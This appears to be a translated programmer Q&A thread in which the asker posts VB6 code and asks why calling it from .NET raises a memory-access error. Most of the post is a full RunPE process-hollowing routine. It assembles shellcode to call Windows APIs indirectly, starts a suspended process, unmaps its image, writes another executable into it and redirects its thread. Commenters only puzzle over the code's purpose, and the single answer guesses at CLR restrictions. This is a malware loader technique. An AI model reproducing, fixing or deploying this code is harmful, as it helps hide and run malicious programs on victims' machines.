Использование VB6.dll в .Net

#c# #dll #vb6 #reference

#c# #dll #vb6 #ссылка

Вопрос:

Код vb6, который я использую, может «внедрить» приложение в запущенный процесс. На самом деле это эквивалент отражения .Net. У меня был успех в вызове всех моих функций vb6, которые были внутри a .dll из .Net, выполнив следующее:

  1. Создать DLL в VB6
  2. Зарегистрировать DLL в Windows
  3. Добавьте зарегистрированную dll в качестве ссылки на .Сетевое приложение winform
  4. Создайте экземпляр .dll и вызовите встроенные функции.

Однако мне не повезло вызвать приведенный ниже код — продолжает появляться одна и та же ошибка.

Вот картинка, чтобы согласиться с этим: введите описание изображения здесь

Ошибка гласит:

Попытка чтения или записи защищенной памяти. Это часто указывает на то, что другая память повреждена.

Вызов VB6:

 Project1.Class1 vb6Test = new Project1.Class1();

vb6Test.InjPE(Application.ExecutablePath, File.ReadAllBytes(Application.ExecutablePath));
  

ПРИМЕЧАНИЕ:
Этот код отлично работает, когда я использую приведенный выше вызов в самом проекте vb6 (если не вызывать его из внешнего источника).

Код, вызывающий ошибку

  Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Sz As Long, Dest As Any, Source As Any)
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Type SUI
    cb As Long
End Type

Private Type P_I
    hP As Long: hT As Long
End Type

Private Type F_S_A
    CW As Long: SW As Long: TW As Long: EO As Long: ES As Long: DO As Long: DS As Long: RA(1 To 80) As Byte: CNS As Long
End Type

Private Type CX
    CF As Long: D0 As Long: D1 As Long: D2 As Long: D3 As Long: D6 As Long: D7 As Long: FS As F_S_A: SGs As Long: SFs As Long: SEs As Long: SDs As Long: Edi As Long: Esi As Long: Ebx As Long: Edx As Long: Ecx As Long: Eax As Long: Ebp As Long: Eip As Long: SCs As Long: EFlags As Long: Esp As Long: SSs As Long
End Type

Private Type I_D_H
    e_ma As Integer: e_cb As Integer: e_cp As Integer: e_cr As Integer: e_cpa As Integer: e_min As Integer: e_max As Integer: e_ss As Integer: e_sp As Integer: e_cs As Integer: e_ip As Integer: e_csa As Integer: e_lf As Integer: e_ov As Integer: e_re(0 To 3) As Integer: e_oe As Integer: e_oe2 As Integer: e_re2(0 To 9) As Integer: e_lfn As Long
End Type

Private Type I_F_H
    MCH As Integer: NOS As Integer: TDS As Long: PTST As Long: NOS2 As Long: SOOH As Integer: chst As Integer
End Type

Private Type I_D_D
    VA As Long: Sz As Long
End Type

Private Type I_O_H
    M As Integer: MLV As Byte: MLV2 As Byte: SOC As Long: SOFD As Long: SOUD As Long: AOEP As Long: BOC As Long: BOD As Long: IB As Long: SA As Long: FA As Long: MOSV As Integer: MOSV2 As Integer: MIV As Integer: MIV2 As Integer: MSV As Integer: MSV2 As Integer: W32VV As Long: SOI As Long: SOH As Long: CS As Long: SS As Integer: D As Integer: SOSS As Long: SOSC As Long: SOHR As Long: SOHC As Long: LF As Long: NORAZ As Long: DD(0 To 15) As I_D_D
End Type

Private Type I_N_H
    s As Long: FH As I_F_H: OH As I_O_H
End Type

Private Type I_S_H
    SN As String * 8: VS As Long: VA As Long: SORD As Long: PTRD As Long: PTR As Long: PTL As Long: NOR As Integer: NOL As Integer: chst As Long
End Type

Private Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long
    Dim lP                As Long
    Dim bvA(amp;HEC00amp; - 1)  As Byte

    lP = VarPtr(bvA(0))

    CopyBytes amp;H4, ByVal lP, amp;H59595958:                   lP = lP   4
    CopyBytes amp;H2, ByVal lP, amp;H5059:                       lP = lP   2

    For i = UBound(Params) To 0 Step -1
        CopyBytes amp;H1, ByVal lP, amp;H68:                     lP = lP   1
        CopyBytes amp;H4, ByVal lP, CLng(Params(i)):          lP = lP   4
    Next

    CopyBytes amp;H1, ByVal lP, amp;HE8:                         lP = lP   1
    CopyBytes amp;H4, ByVal lP, GetProcAddress(LoadLibraryA(strLib), strMod) - lP - 4:                  lP = lP   4
    CopyBytes amp;H1, ByVal lP, amp;HC3:                         lP = lP   1
    CallAPI = CallWindowProcA(VarPtr(bvA(0)), 0, 0, 0, 0)
End Function

Sub InjPE(szProcessName As String, lpBuffer() As Byte)
    Dim Pidh As I_D_H
    Dim Pinh As I_N_H
    Dim Pish As I_S_H
    Dim Si As SUI
    Dim Pi As P_I
    Dim CTX As CX

    Si.cb = Len(Si)
    CTX.CF = amp;H10007

    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfn)), Len(Pinh))
    Call CallAPI("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, amp;H4, 0, 0, VarPtr(Si), VarPtr(Pi))

    Call CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hP, Pinh.OH.IB)
    Call CallAPI("kernel32", "VirtualAllocEx", Pi.hP, Pinh.OH.IB, Pinh.OH.SOI, amp;H1000 Or amp;H2000, amp;H40)
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB, VarPtr(lpBuffer(0)), Pinh.OH.SOH, 0)

    For i = 0 To Pinh.FH.NOS - 1
        CopyBytes Len(Pish), Pish, lpBuffer(Pidh.e_lfn   Len(Pinh)   Len(Pish) * i)
        Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB   Pish.VA, VarPtr(lpBuffer(Pish.PTRD)), Pish.SORD, 0)
    Next

    Call CallAPI("ntdll", "NtGetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, CTX.Ebx   8, VarPtr(Pinh.OH.IB), 4, 0)
    CTX.Eax = Pinh.OH.IB   Pinh.OH.AOEP
    Call CallAPI("ntdll", "NtSetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtResumeThread", Pi.hT, 0)
End Sub
  

Есть ли шаг, который я пропускаю, который позволил бы мне вызвать приведенный выше код без возникновения ошибки?

Спасибо,

Эван

Комментарии:

1. Ошибка, которую вы получили, обычно возникает из-за дисбаланса стека. Пожалуйста, отредактируйте свой вопрос, чтобы включить ваши подписи P / Invoke в C#

2. Итак, вы получаете эту ошибку при запуске в Visual Studio? Является ли это неперехваченным исключением? Есть ли какие-либо другие подробности в исключении / ошибке?

3. Это какой-то смелый код VB6. Какова цель первого RtlMoveMemory, поскольку может показаться, что его исходный указатель равен нулю? Пытается ли он очистить память от структуры Pidh?

4. Похоже, вы пытаетесь записать в память, к которой у вашего процесса нет доступа. Поскольку это загружается в пространство процессов .net CLR, я держу пари, что это будет немного сложно в отношении того, что оно позволит вам делать, например, пытаться внедрить внешнее оправдываемое в его пространство процессов. Звучит как большая проблема безопасности. Итак, вам просто нужно запустить exe-файл из вашего .net-кода или вам нужно загрузить dll и вызвать в ней точку входа? В .Net есть гораздо более простые способы сделать это.

5. Понял. Вы пытаетесь ввести байты в текущий процесс. Нравится реальный машинный код? Процесс самоизменения ? Какова цель введения массива байтов.

Ответ №1:

Итак, я думаю, что код VB6 вызывается нормально. Если вы хотите убедиться, что он попадает в вызов InjPE, введите туда окно сообщения или просто вернитесь, ничего не делая. Я подозреваю, что среда CLR изолировала ваш поток и убрала все привилегии, которые позволили бы вам начать вводить код в его пространство процессов. Вероятно, это один из вызовов, которые терпят неудачу.